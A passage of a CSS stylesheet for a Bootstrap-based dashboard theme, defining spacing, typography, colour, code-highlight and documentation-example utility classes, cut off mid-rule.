.ms-xxl-1 { margin-left: 0.25rem !important; } .ms-xxl-2 { margin-left: 0.5rem !important; } .ms-xxl-3 { margin-left: 1rem !important; } .ms-xxl-4 { margin-left: 1.5rem !important; } .ms-xxl-5 { margin-left: 3rem !important; } .ms-xxl-auto { margin-left: auto !important; } .m-xxl-n1 { margin: -0.25rem !important; } .m-xxl-n2 { margin: -0.5rem !important; } .m-xxl-n3 { margin: -1rem !important; } .m-xxl-n4 { margin: -1.5rem !important; } .m-xxl-n5 { margin: -3rem !important; } .mx-xxl-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-xxl-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-xxl-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-xxl-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-xxl-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-xxl-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-xxl-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-xxl-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-xxl-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-xxl-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-xxl-n1 { margin-top: -0.25rem !important; } .mt-xxl-n2 { margin-top: -0.5rem !important; } .mt-xxl-n3 { margin-top: -1rem !important; } .mt-xxl-n4 { margin-top: -1.5rem !important; } .mt-xxl-n5 { margin-top: -3rem !important; } .me-xxl-n1 { margin-right: -0.25rem !important; } .me-xxl-n2 { margin-right: -0.5rem !important; } .me-xxl-n3 { margin-right: -1rem !important; } .me-xxl-n4 { margin-right: -1.5rem !important; } .me-xxl-n5 { margin-right: -3rem !important; } .mb-xxl-n1 { margin-bottom: -0.25rem !important; } .mb-xxl-n2 { margin-bottom: -0.5rem !important; } .mb-xxl-n3 { margin-bottom: -1rem !important; } .mb-xxl-n4 { margin-bottom: -1.5rem !important; } .mb-xxl-n5 { margin-bottom: -3rem !important; } .ms-xxl-n1 { margin-left: -0.25rem !important; } .ms-xxl-n2 { margin-left: -0.5rem !important; } .ms-xxl-n3 { margin-left: -1rem !important; } .ms-xxl-n4 { margin-left: -1.5rem !important; } .ms-xxl-n5 { margin-left: -3rem !important; } .p-xxl-0 { padding: 0 !important; } .p-xxl-1 { padding: 0.25rem !important; } .p-xxl-2 { padding: 0.5rem !important; } .p-xxl-3 { padding: 1rem !important; } .p-xxl-4 { padding: 1.5rem !important; } .p-xxl-5 { padding: 3rem !important; } .px-xxl-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-xxl-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-xxl-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-xxl-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-xxl-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-xxl-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-xxl-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-xxl-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-xxl-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-xxl-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-xxl-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-xxl-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-xxl-0 { padding-top: 0 !important; } .pt-xxl-1 { padding-top: 0.25rem !important; } .pt-xxl-2 { padding-top: 0.5rem !important; } .pt-xxl-3 { padding-top: 1rem !important; } .pt-xxl-4 { padding-top: 1.5rem !important; } .pt-xxl-5 { padding-top: 3rem !important; } .pe-xxl-0 { padding-right: 0 !important; } .pe-xxl-1 { padding-right: 0.25rem !important; } .pe-xxl-2 { padding-right: 0.5rem !important; } .pe-xxl-3 { padding-right: 1rem !important; } .pe-xxl-4 { padding-right: 1.5rem !important; } .pe-xxl-5 { padding-right: 3rem !important; } .pb-xxl-0 { padding-bottom: 0 !important; } .pb-xxl-1 { padding-bottom: 0.25rem !important; } .pb-xxl-2 { padding-bottom: 0.5rem !important; } .pb-xxl-3 { padding-bottom: 1rem !important; } .pb-xxl-4 { padding-bottom: 1.5rem !important; } .pb-xxl-5 { padding-bottom: 3rem !important; } .ps-xxl-0 { padding-left: 0 !important; } .ps-xxl-1 { padding-left: 0.25rem !important; } .ps-xxl-2 { padding-left: 0.5rem !important; } .ps-xxl-3 { padding-left: 1rem !important; } .ps-xxl-4 { padding-left: 1.5rem !important; } .ps-xxl-5 { padding-left: 3rem !important; } .gap-xxl-0 { gap: 0 !important; } .gap-xxl-1 { gap: 0.25rem !important; } .gap-xxl-2 { gap: 0.5rem !important; } .gap-xxl-3 { gap: 1rem !important; } .gap-xxl-4 { gap: 1.5rem !important; } .gap-xxl-5 { gap: 3rem !important; } .text-xxl-start { text-align: left !important; } .text-xxl-end { text-align: right !important; } .text-xxl-center { text-align: center !important; } } @media (min-width: 1200px) { .fs-1 { font-size: 2.25rem !important; } .fs-2 { font-size: 1.75rem !important; } .fs-3 { font-size: 1.5rem !important; } } @media print { .d-print-inline { display: inline !important; } .d-print-inline-block { display: inline-block !important; } .d-print-block { display: block !important; } .d-print-grid { display: grid !important; } .d-print-table { display: table !important; } .d-print-table-row { display: table-row !important; } .d-print-table-cell { display: table-cell !important; } .d-print-flex { display: flex !important; } .d-print-inline-flex { display: inline-flex !important; } .d-print-none { display: none !important; } } /** ===================== Generic-class css start ========================== **/ /*====== Padding , Margin css starts ======*/ .p-0 { padding: 0px; } .p-t-0 { padding-top: 0px; } .p-b-0 { padding-bottom: 0px; } .p-l-0 { padding-left: 0px; } .p-r-0 { padding-right: 0px; } .m-0 { margin: 0px; } .m-t-0 { margin-top: 0px; } .m-b-0 { margin-bottom: 0px; } .m-l-0 { margin-left: 0px; } .m-r-0 { margin-right: 0px; } .p-5 { padding: 5px; } .p-t-5 { padding-top: 5px; } .p-b-5 { padding-bottom: 5px; } .p-l-5 { padding-left: 5px; } .p-r-5 { padding-right: 5px; } .m-5 { margin: 5px; } .m-t-5 { margin-top: 5px; } .m-b-5 { margin-bottom: 5px; } .m-l-5 { margin-left: 5px; } .m-r-5 { margin-right: 5px; } .p-10 { padding: 10px; } .p-t-10 { padding-top: 10px; } .p-b-10 { padding-bottom: 10px; } .p-l-10 { padding-left: 10px; } .p-r-10 { padding-right: 10px; } .m-10 { margin: 10px; } .m-t-10 { margin-top: 10px; } .m-b-10 { margin-bottom: 10px; } .m-l-10 { margin-left: 10px; } .m-r-10 { margin-right: 10px; } .p-15 { padding: 15px; } .p-t-15 { padding-top: 15px; } .p-b-15 { padding-bottom: 15px; } .p-l-15 { padding-left: 15px; } .p-r-15 { padding-right: 15px; } .m-15 { margin: 15px; } .m-t-15 { margin-top: 15px; } .m-b-15 { margin-bottom: 15px; } .m-l-15 { margin-left: 15px; } .m-r-15 { margin-right: 15px; } .p-20 { padding: 20px; } .p-t-20 { padding-top: 20px; } .p-b-20 { padding-bottom: 20px; } .p-l-20 { padding-left: 20px; } .p-r-20 { padding-right: 20px; } .m-20 { margin: 20px; } .m-t-20 { margin-top: 20px; } .m-b-20 { margin-bottom: 20px; } .m-l-20 { margin-left: 20px; } .m-r-20 { margin-right: 20px; } .p-25 { padding: 25px; } .p-t-25 { padding-top: 25px; } .p-b-25 { padding-bottom: 25px; } .p-l-25 { padding-left: 25px; } .p-r-25 { padding-right: 25px; } .m-25 { margin: 25px; } .m-t-25 { margin-top: 25px; } .m-b-25 { margin-bottom: 25px; } .m-l-25 { margin-left: 25px; } .m-r-25 { margin-right: 25px; } .p-30 { padding: 30px; } .p-t-30 { padding-top: 30px; } .p-b-30 { padding-bottom: 30px; } .p-l-30 { padding-left: 30px; } .p-r-30 { padding-right: 30px; } .m-30 { margin: 30px; } .m-t-30 { margin-top: 30px; } .m-b-30 { margin-bottom: 30px; } .m-l-30 { margin-left: 30px; } .m-r-30 { margin-right: 30px; } .p-35 { padding: 35px; } .p-t-35 { padding-top: 35px; } .p-b-35 { padding-bottom: 35px; } .p-l-35 { padding-left: 35px; } .p-r-35 { padding-right: 35px; } .m-35 { margin: 35px; } .m-t-35 { margin-top: 35px; } .m-b-35 { margin-bottom: 35px; } .m-l-35 { margin-left: 35px; } .m-r-35 { margin-right: 35px; } .p-40 { padding: 40px; } .p-t-40 { padding-top: 40px; } .p-b-40 { padding-bottom: 40px; } .p-l-40 { padding-left: 40px; } .p-r-40 { padding-right: 40px; } .m-40 { margin: 40px; } .m-t-40 { margin-top: 40px; } .m-b-40 { margin-bottom: 40px; } .m-l-40 { margin-left: 40px; } .m-r-40 { margin-right: 40px; } .p-45 { padding: 45px; } .p-t-45 { padding-top: 45px; } .p-b-45 { padding-bottom: 45px; } .p-l-45 { padding-left: 45px; } .p-r-45 { padding-right: 45px; } .m-45 { margin: 45px; } .m-t-45 { margin-top: 45px; } .m-b-45 { margin-bottom: 45px; } .m-l-45 { margin-left: 45px; } .m-r-45 { margin-right: 45px; } .p-50 { padding: 50px; } .p-t-50 { padding-top: 50px; } .p-b-50 { padding-bottom: 50px; } .p-l-50 { padding-left: 50px; } .p-r-50 { padding-right: 50px; } .m-50 { margin: 50px; } .m-t-50 { margin-top: 50px; } .m-b-50 { margin-bottom: 50px; } .m-l-50 { margin-left: 50px; } .m-r-50 { margin-right: 50px; } /*====== Padding , Margin css ends ======*/ /*====== Font-size css starts ======*/ .f-10 { font-size: 10px; } .f-12 { font-size: 12px; } .f-14 { font-size: 14px; } .f-16 { font-size: 16px; } .f-18 { font-size: 18px; } .f-20 { font-size: 20px; } .f-22 { font-size: 22px; } .f-24 { font-size: 24px; } .f-26 { font-size: 26px; } .f-28 { font-size: 28px; } .f-30 { font-size: 30px; } .f-32 { font-size: 32px; } .f-34 { font-size: 34px; } .f-36 { font-size: 36px; } .f-38 { font-size: 38px; } .f-40 { font-size: 40px; } .f-42 { font-size: 42px; } .f-44 { font-size: 44px; } .f-46 { font-size: 46px; } .f-48 { font-size: 48px; } .f-50 { font-size: 50px; } .f-52 { font-size: 52px; } .f-54 { font-size: 54px; } .f-56 { font-size: 56px; } .f-58 { font-size: 58px; } .f-60 { font-size: 60px; } .f-62 { font-size: 62px; } .f-64 { font-size: 64px; } .f-66 { font-size: 66px; } .f-68 { font-size: 68px; } .f-70 { font-size: 70px; } .f-72 { font-size: 72px; } .f-74 { font-size: 74px; } .f-76 { font-size: 76px; } .f-78 { font-size: 78px; } .f-80 { font-size: 80px; } /*====== Font-size css ends ======*/ /*====== Font-weight css starts ======*/ .f-w-100 { font-weight: 100; } .f-w-200 { font-weight: 200; } .f-w-300 { font-weight: 300; } .f-w-400 { font-weight: 400; } .f-w-500 { font-weight: 500; } .f-w-600 { font-weight: 600; } .f-w-700 { font-weight: 700; } .f-w-800 { font-weight: 800; } .f-w-900 { font-weight: 900; } /*====== Font-weight css ends ======*/ /*====== width, Height css starts ======*/ .wid-10 { width: 10px; } .hei-10 { height: 10px; } .wid-15 { width: 15px; } .hei-15 { height: 15px; } .wid-20 { width: 20px; } .hei-20 { height: 20px; } .wid-25 { width: 25px; } .hei-25 { height: 25px; } .wid-30 { width: 30px; } .hei-30 { height: 30px; } .wid-35 { width: 35px; } .hei-35 { height: 35px; } .wid-40 { width: 40px; } .hei-40 { height: 40px; } .wid-45 { width: 45px; } .hei-45 { height: 45px; } .wid-50 { width: 50px; } .hei-50 { height: 50px; } .wid-55 { width: 55px; } .hei-55 { height: 55px; } .wid-60 { width: 60px; } .hei-60 { height: 60px; } .wid-65 { width: 65px; } .hei-65 { height: 65px; } .wid-70 { width: 70px; } .hei-70 { height: 70px; } .wid-75 { width: 75px; } .hei-75 { height: 75px; } .wid-80 { width: 80px; } .hei-80 { height: 80px; } .wid-85 { width: 85px; } .hei-85 { height: 85px; } .wid-90 { width: 90px; } .hei-90 { height: 90px; } .wid-95 { width: 95px; } .hei-95 { height: 95px; } .wid-100 { width: 100px; } .hei-100 { height: 100px; } .wid-105 { width: 105px; } .hei-105 { height: 105px; } .wid-110 { width: 110px; } .hei-110 { height: 110px; } .wid-115 { width: 115px; } .hei-115 { height: 115px; } .wid-120 { width: 120px; } .hei-120 { height: 120px; } .wid-125 { width: 125px; } .hei-125 { height: 125px; } .wid-130 { width: 130px; } .hei-130 { height: 130px; } .wid-135 { width: 135px; } .hei-135 { height: 135px; } .wid-140 { width: 140px; } .hei-140 { height: 140px; } .wid-145 { width: 145px; } .hei-145 { height: 145px; } .wid-150 { width: 150px; } .hei-150 { height: 150px; } /*====== width, Height css ends ======*/ /*====== border-width css starts ======*/ .b-wid-1 { border-width: 1px; } .b-wid-2 { border-width: 2px; } .b-wid-3 { border-width: 3px; } .b-wid-4 { border-width: 4px; } .b-wid-5 { border-width: 5px; } .b-wid-6 { border-width: 6px; } .b-wid-7 { border-width: 7px; } .b-wid-8 { border-width: 8px; } /*====== border-width css ends ======*/ /*====== background starts ======*/ .bg-body { background: #22242c !important; } .bg-light-primary { background: #dcdaeb; color: #51459d; } .text-light-primary { color: #dcdaeb; } .icon-svg-primary { fill: #dcdaeb; stroke: #51459d; } .material-icons-two-tone.text-primary { background-color: #51459d; } .text-hover-primary:hover { color: #51459d !important; } .bg-light-secondary { background: #e2e3e5; color: #6c757d; } .text-light-secondary { color: #e2e3e5; } .icon-svg-secondary { fill: #e2e3e5; stroke: #6c757d; } .material-icons-two-tone.text-secondary { background-color: #6c757d; } .text-hover-secondary:hover { color: #6c757d !important; } .bg-light-success { background: #e2f7d9; color: #6fd943; } .text-light-success { color: #e2f7d9; } .icon-svg-success { fill: #e2f7d9; stroke: #6fd943; } .material-icons-two-tone.text-success { background-color: #6fd943; } .text-hover-success:hover { color: #6fd943 !important; } .bg-light-info { background: #d8f4f7; color: #3ec9d6; } .text-light-info { color: #d8f4f7; } .icon-svg-info { fill: #d8f4f7; stroke: #3ec9d6; } .material-icons-two-tone.text-info { background-color: #3ec9d6; } .text-hover-info:hover { color: #3ec9d6 !important; } .bg-light-warning { background: #ffecd2; color: #ffa21d; } .text-light-warning { color: #ffecd2; } .icon-svg-warning { fill: #ffecd2; stroke: #ffa21d; } .material-icons-two-tone.text-warning { background-color: #ffa21d; } .text-hover-warning:hover { color: #ffa21d !important; } .bg-light-danger { background: #ffd8e2; color: #ff3a6e; } .text-light-danger { color: #ffd8e2; } .icon-svg-danger { fill: #ffd8e2; stroke: #ff3a6e; } .material-icons-two-tone.text-danger { background-color: #ff3a6e; } .text-hover-danger:hover { color: #ff3a6e !important; } .bg-light-light { background: #fefefe; color: #f8f9fa; } .text-light-light { color: #fefefe; } .icon-svg-light { fill: #fefefe; stroke: #f8f9fa; } .material-icons-two-tone.text-light { background-color: #f8f9fa; } .text-hover-light:hover { color: #f8f9fa !important; } .bg-light-dark { background: #d2d3d5; color: #1c232f; } .text-light-dark { color: #d2d3d5; } .icon-svg-dark { fill: #d2d3d5; stroke: #1c232f; } .material-icons-two-tone.text-dark { background-color: #1c232f; } .text-hover-dark:hover { color: #1c232f !important; } /*====== background ends ======*/ /*====== border color css starts ======*/ .b-primary { border: 1px solid #51459d; } .border-bottom-primary td { border-bottom: 1px solid #51459d; } .border-bottom-primary th { border-bottom: 1px solid #51459d !important; } .fill-primary { fill: #51459d; } .b-secondary { border: 1px solid #6c757d; } .border-bottom-secondary td { border-bottom: 1px solid #6c757d; } .border-bottom-secondary th { border-bottom: 1px solid #6c757d !important; } .fill-secondary { fill: #6c757d; } .b-success { border: 1px solid #6fd943; } .border-bottom-success td { border-bottom: 1px solid #6fd943; } .border-bottom-success th { border-bottom: 1px solid #6fd943 !important; } .fill-success { fill: #6fd943; } .b-info { border: 1px solid #3ec9d6; } .border-bottom-info td { border-bottom: 1px solid #3ec9d6; } .border-bottom-info th { border-bottom: 1px solid #3ec9d6 !important; } .fill-info { fill: #3ec9d6; } .b-warning { border: 1px solid #ffa21d; } .border-bottom-warning td { border-bottom: 1px solid #ffa21d; } .border-bottom-warning th { border-bottom: 1px solid #ffa21d !important; } .fill-warning { fill: #ffa21d; } .b-danger { border: 1px solid #ff3a6e; } .border-bottom-danger td { border-bottom: 1px solid #ff3a6e; } .border-bottom-danger th { border-bottom: 1px solid #ff3a6e !important; } .fill-danger { fill: #ff3a6e; } .b-light { border: 1px solid #f8f9fa; } .border-bottom-light td { border-bottom: 1px solid #f8f9fa; } .border-bottom-light th { border-bottom: 1px solid #f8f9fa !important; } .fill-light { fill: #f8f9fa; } .b-dark { border: 1px solid #1c232f; } .border-bottom-dark td { border-bottom: 1px solid #1c232f; } .border-bottom-dark th { border-bottom: 1px solid #1c232f !important; } .fill-dark { fill: #1c232f; } /*====== border color css ends ======*/ /*====== text-color, background color css starts ======*/ .bg-facebook { background: #3C5A99; } .text-facebook { color: #3C5A99; } .bg-twitter { background: #42C0FB; } .text-twitter { color: #42C0FB; } .bg-dribbble { background: #EC4A89; } .text-dribbble { color: #EC4A89; } .bg-pinterest { background: #BF2131; } .text-pinterest { color: #BF2131; } .bg-youtube { background: #E0291D; } .text-youtube { color: #E0291D; } .bg-googleplus { background: #C73E2E; } .text-googleplus { color: #C73E2E; } .bg-instagram { background: #AA7C62; } .text-instagram { color: #AA7C62; } .bg-viber { background: #7B519D; } .text-viber { color: #7B519D; } .bg-behance { background: #0057ff; } .text-behance { color: #0057ff; } .bg-dropbox { background: #3380FF; } .text-dropbox { color: #3380FF; } .bg-linkedin { background: #0077B5; } .text-linkedin { color: #0077B5; } .bg-amazon { background: #000; } .text-amazon { color: #000; } /*====== text-color css ends ======*/ .font-hairline { font-weight: 100 !important; } .font-thin { font-weight: 200 !important; } .font-light { font-weight: 300 !important; } .font-normal { font-weight: 400 !important; } .font-medium { font-weight: 500 !important; } .font-semibold { font-weight: 600 !important; } .font-bold { font-weight: 700 !important; } .font-extrabold { font-weight: 800 !important; } .font-black { font-weight: 900 !important; } .text-xs { font-size: 0.625rem !important; } .text-sm { font-size: 0.75rem !important; } .text-md { font-size: 0.8125rem !important; } .text-base { font-size: 0.875rem !important; } .text-lg { font-size: 1rem !important; } .text-xl { font-size: 1.125rem !important; } .text-2xl { font-size: 1.25rem !important; } .text-3xl { font-size: 1.5rem !important; } .text-4xl { font-size: 2rem !important; } .text-5xl { font-size: 2.25rem !important; } .text-6xl { font-size: 2.5rem !important; } .text-7xl { font-size: 3rem !important; } .text-8xl { font-size: 4rem !important; } .text-9xl { font-size: 6rem !important; } .text-10xl { font-size: 8rem !important; } .uppercase { text-transform: uppercase !important; } .lowercase { text-transform: lowercase !important; } .capitalize { text-transform: capitalize !important; } .normal-case { text-transform: none !important; } /*====== more bootstrap colors start ======*/ .bg-blue-100 { color: #212529; background: #dcdaeb; } .bg-blue-200 { color: #ffffff; background: #b9b5d8; } .bg-blue-300 { color: #ffffff; background: #978fc4; } .bg-blue-400 { color: #ffffff; background: #746ab1; } .bg-blue-500 { color: #ffffff; background: #51459d; } .bg-blue-600 { color: #ffffff; background: #41377e; } .bg-blue-700 { color: #ffffff; background: #31295e; } .bg-blue-800 { color: #ffffff; background: #201c3f; } .bg-blue-900 { color: #ffffff; background: #100e1f; } .bg-indigo-100 { color: #212529; background: #e0cffc; } .bg-indigo-200 { color: #ffffff; background: #c29ffa; } .bg-indigo-300 { color: #ffffff; background: #a370f7; } .bg-indigo-400 { color: #ffffff; background: #8540f5; } .bg-indigo-500 { color: #ffffff; background: #6610f2; } .bg-indigo-600 { color: #ffffff; background: #520dc2; } .bg-indigo-700 { color: #ffffff; background: #3d0a91; } .bg-indigo-800 { color: #ffffff; background: #290661; } .bg-indigo-900 { color: #ffffff; background: #140330; } .bg-purple-100 { color: #212529; background: #e2d9f3; } .bg-purple-200 { color: #ffffff; background: #c5b3e6; } .bg-purple-300 { color: #ffffff; background: #a98eda; } .bg-purple-400 { color: #ffffff; background: #8c68cd; } .bg-purple-500 { color: #ffffff; background: #6f42c1; } .bg-purple-600 { color: #ffffff; background: #59359a; } .bg-purple-700 { color: #ffffff; background: #432874; } .bg-purple-800 { color: #ffffff; background: #2c1a4d; } .bg-purple-900 { color: #ffffff; background: #160d27; } .bg-pink-100 { color: #212529; background: #fad8e8; } .bg-pink-200 { color: #ffffff; background: #f6b2d1; } .bg-pink-300 { color: #ffffff; background: #f18bba; } .bg-pink-400 { color: #ffffff; background: #ed65a3; } .bg-pink-500 { color: #ffffff; background: #e83e8c; } .bg-pink-600 { color: #ffffff; background: #ba3270; } .bg-pink-700 { color: #ffffff; background: #8b2554; } .bg-pink-800 { color: #ffffff; background: #5d1938; } .bg-pink-900 { color: #ffffff; background: #2e0c1c; } .bg-red-100 { color: #212529; background: #ffd8e2; } .bg-red-200 { color: #ffffff; background: #ffb0c5; } .bg-red-300 { color: #ffffff; background: #ff89a8; } .bg-red-400 { color: #ffffff; background: #ff618b; } .bg-red-500 { color: #ffffff; background: #ff3a6e; } .bg-red-600 { color: #ffffff; background: #cc2e58; } .bg-red-700 { color: #ffffff; background: #992342; } .bg-red-800 { color: #ffffff; background: #66172c; } .bg-red-900 { color: #ffffff; background: #330c16; } .bg-orange-100 { color: #212529; background: #ffe5d0; } .bg-orange-200 { color: #212529; background: #fecba1; } .bg-orange-300 { color: #ffffff; background: #feb272; } .bg-orange-400 { color: #ffffff; background: #fd9843; } .bg-orange-500 { color: #ffffff; background: #fd7e14; } .bg-orange-600 { color: #ffffff; background: #ca6510; } .bg-orange-700 { color: #ffffff; background: #984c0c; } .bg-orange-800 { color: #ffffff; background: #653208; } .bg-orange-900 { color: #ffffff; background: #331904; } .bg-yellow-100 { color: #212529; background: #ffecd2; } .bg-yellow-200 { color: #212529; background: #ffdaa5; } .bg-yellow-300 { color: #212529; background: #ffc777; } .bg-yellow-400 { color: #ffffff; background: #ffb54a; } .bg-yellow-500 { color: #ffffff; background: #ffa21d; } .bg-yellow-600 { color: #ffffff; background: #cc8217; } .bg-yellow-700 { color: #ffffff; background: #996111; } .bg-yellow-800 { color: #ffffff; background: #66410c; } .bg-yellow-900 { color: #ffffff; background: #332006; } .bg-green-100 { color: #212529; background: #e2f7d9; } .bg-green-200 { color: #212529; background: #c5f0b4; } .bg-green-300 { color: #212529; background: #a9e88e; } .bg-green-400 { color: #ffffff; background: #8ce169; } .bg-green-500 { color: #ffffff; background: #6fd943; } .bg-green-600 { color: #ffffff; background: #59ae36; } .bg-green-700 { color: #ffffff; background: #438228; } .bg-green-800 { color: #ffffff; background: #2c571b; } .bg-green-900 { color: #ffffff; background: #162b0d; } .bg-teal-100 { color: #212529; background: #d2f4ea; } .bg-teal-200 { color: #212529; background: #a6e9d5; } .bg-teal-300 { color: #ffffff; background: #79dfc1; } .bg-teal-400 { color: #ffffff; background: #4dd4ac; } .bg-teal-500 { color: #ffffff; background: #20c997; } .bg-teal-600 { color: #ffffff; background: #1aa179; } .bg-teal-700 { color: #ffffff; background: #13795b; } .bg-teal-800 { color: #ffffff; background: #0d503c; } .bg-teal-900 { color: #ffffff; background: #06281e; } .bg-cyan-100 { color: #212529; background: #d8f4f7; } .bg-cyan-200 { color: #212529; background: #b2e9ef; } .bg-cyan-300 { color: #212529; background: #8bdfe6; } .bg-cyan-400 { color: #ffffff; background: #65d4de; } .bg-cyan-500 { color: #ffffff; background: #3ec9d6; } .bg-cyan-600 { color: #ffffff; background: #32a1ab; } .bg-cyan-700 { color: #ffffff; background: #257980; } .bg-cyan-800 { color: #ffffff; background: #195056; } .bg-cyan-900 { color: #ffffff; background: #0c282b; } .bg-gray-100 { color: #212529; background: #f8f9fa; } .bg-gray-200 { color: #212529; background: #e9ecef; } .bg-gray-300 { color: #212529; background: #dee2e6; } .bg-gray-400 { color: #212529; background: #ced4da; } .bg-gray-500 { color: #ffffff; background: #adb5bd; } .bg-gray-600 { color: #ffffff; background: #6c757d; } .bg-gray-700 { color: #ffffff; background: #495057; } .bg-gray-800 { color: #ffffff; background: #343a40; } .bg-gray-900 { color: #ffffff; background: #212529; } /*====== more bootstrap colors end ======*/ /** ===================== Custom css start ========================== **/ body { min-height: 100vh; overflow-x: hidden; } *:focus { outline: none; } a:hover { outline: none; text-decoration: none; } a:not([href]) { color: inherit; } p { font-size: 14px; } b, strong { font-weight: 600; } .ie-warning { position: fixed; top: 0; left: 0; z-index: 999999; background: #000000; width: 100%; height: 100%; text-align: center; color: #fff; font-family: "Courier New", Courier, monospace; padding: 50px 0; } .ie-warning p { font-size: 17px; } .ie-warning h1, .ie-warning .h1 { color: #fff; } .ie-warning .iew-container { min-width: 1024px; width: 100%; height: 200px; background: #fff; margin: 50px 0; } .ie-warning .iew-download { list-style: none; padding: 30px 0; margin: 0 auto; width: 720px; } .ie-warning .iew-download > li { float: left; vertical-align: top; } .ie-warning .iew-download > li > a { display: block; color: #000; width: 140px; font-size: 15px; padding: 15px 0; } .ie-warning .iew-download > li > a > div { margin-top: 10px; } .ie-warning .iew-download > li > a:hover { background-color: #eee; } .btn-page .btn-group .btn { margin-right: 0; margin-bottom: 0; } .btn-page .btn { margin-right: 5px; margin-bottom: 5px; } .material-icons-two-tone { background-color: #808191; -webkit-background-clip: text; -webkit-text-fill-color: transparent; vertical-align: text-bottom; } .material-icons-two-tone.text-white { background-color: #fff; } .hljs { display: block; overflow-x: auto; padding: 0.5em; color: #abb2bf; background: #282c34; } .hljs-comment, .hljs-quote { color: #5c6370; font-style: italic; } .hljs-doctag, .hljs-formula, .hljs-keyword { color: #c678dd; } .hljs-deletion, .hljs-name, .hljs-section, .hljs-selector-tag, .hljs-subst { color: #e06c75; } .hljs-literal { color: #56b6c2; } .hljs-addition, .hljs-attribute, .hljs-meta-string, .hljs-regexp, .hljs-string { color: #98c379; } .hljs-built_in, .hljs-class .hljs-title { color: #e6c07b; } .hljs-attr, .hljs-number, .hljs-selector-attr, .hljs-selector-class, .hljs-selector-pseudo, .hljs-template-variable, .hljs-type, .hljs-variable { color: #d19a66; } .hljs-bullet, .hljs-link, .hljs-meta, .hljs-selector-id, .hljs-symbol, .hljs-title { color: #61aeee; } .hljs-emphasis { font-style: italic; } .hljs-strong { font-weight: bold; } .hljs-link { text-decoration: underline; } /* ======================================================== =============== document ====================== ======================================================== Grid examples */ .bd-example-row { background: #22242c; padding: 15px; margin-bottom: 15px; } .bd-example-row .row > [class^="col-"], .bd-example-row .row > .col { padding-top: 0.75rem; padding-bottom: 0.75rem; background-color: rgba(86, 61, 124, 0.15); border: 1px solid rgba(86, 61, 124, 0.2); } .bd-example-row .row + .row { margin-top: 1rem; } .bd-example-row .flex-items-bottom, .bd-example-row .flex-items-middle, .bd-example-row .flex-items-top { min-height: 6rem; background-color: rgba(255, 0, 0, 0.1); } .bd-example-row-flex-cols .row { min-height: 10rem; background-color: rgba(255, 0, 0, 0.1); } /* Docs examples */ .bd-example { position: relative; padding: 1rem; margin: 1rem; border: solid #ddd; border-width: 0.2rem 0 0; } @media only screen and (max-height: 575px) { .bd-example { padding: 1.5rem; margin-right: 0; margin-left: 0; border-width: 0.2rem; } } /* Example modals */ .modal { z-index: 1072; } .modal .popover, .modal .tooltip { z-index: 1073; } .modal-backdrop { z-index: 1071; } .bd-example-modal { background-color: #22242c; } .bd-example-modal .modal { position: relative; top: auto; right: auto; bottom: auto; left: auto; z-index: 1; display: block; } .bd-example-modal .modal-dialog { left: auto; margin-right: auto; margin-left: auto; } .bd-example-modal .offcanvas { position: static; display: block; height: 200px; visibility: visible; transform: translate(0); } /* Example tabbable tabs */ .bd-example-tabs .nav-tabs { margin-bottom: 1rem; } /* Code snippets */ .highlight { padding: 1rem; margin-top: 1rem; margin-bottom: 1rem; background-color: #f3f2fb; -ms-overflow-style: -ms-autohiding-scrollbar; } @media only screen and (max-height: 575px) { .highlight { padding: 1.5rem; } } .bd-content .highlight { margin-right: 15px; margin-left: 15px; } @media only screen and (max-height: 575px) { .bd-content .highlight { margin-right: 0; margin-left: 0; } } .highlight pre { padding: 0; margin-top: 0; margin-bottom: 0; background-color: transparent; border: 0; } .highlight pre code { font-size: inherit; color: #333; } :not(pre) > code[class*="language-"], pre[class*="language-"] { background: transparent; } /* ================================ Blockquote Start ===================== */ svg.feather:not([class*="wid-"]) { width: 20px; } svg.feather:not([class*="hei-"]) { height: 20px; } @media (min-width: 1600px) { .container { max-width: 1540px; } } pre[class*="language-"]:before, pre[class*="language-"]:after { display: none; } :not(pre) > code[class*="language-"], pre[class*="language-"] { display: flex; margin: 0; } pre[class*="language-"] > code { width: 100%; } .media { display: flex; } .media .media-body { flex: 1; } .blockquote { border-left: 0.25rem solid #3E3F4A; padding: 0.5rem 1rem; } .blockquote.text-end { border-left: none; border-right: 0.25rem solid #3E3F4A; } .breadcrumb svg.feather { width: 16px; height: 16px; vertical-align: baseline; } [data-notify] .close { border: 0; opacity: 0.5; width: 1em; height: 1em; margin-top: 5px; color: transparent !important; background: transparent url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ffffff' viewBox='0 0 16 16'%3e%3cpath d='M.293.293a1 1 0 011.414 0L8 6.586 14.293.293a1 1 0 111.414 1.414L9.414 8l6.293 6.293a1 1 0 01-1.414 1.414L8 9.414l-6.293 6.293a1 1 0 01-1.414-1.414L6.586 8 .293 1.707a1 1 0 010-1.414z'/%3e%3c/svg%3e") center/1em auto no-repeat; filter: invert(1) grayscale(100%) brightness(200%); } /* ================================ Blockquote End ===================== */ a[data-lightbox] { cursor: pointer; } pre[class*="language-"] > code { box-shadow: 0px 0px 0px 1px #dfdfdf; border-left: 5px solid; } .offcanvas { z-index: 1075; } .dash-sidebar .accordion-item { border: none; } .form-switch.form-switch-right { 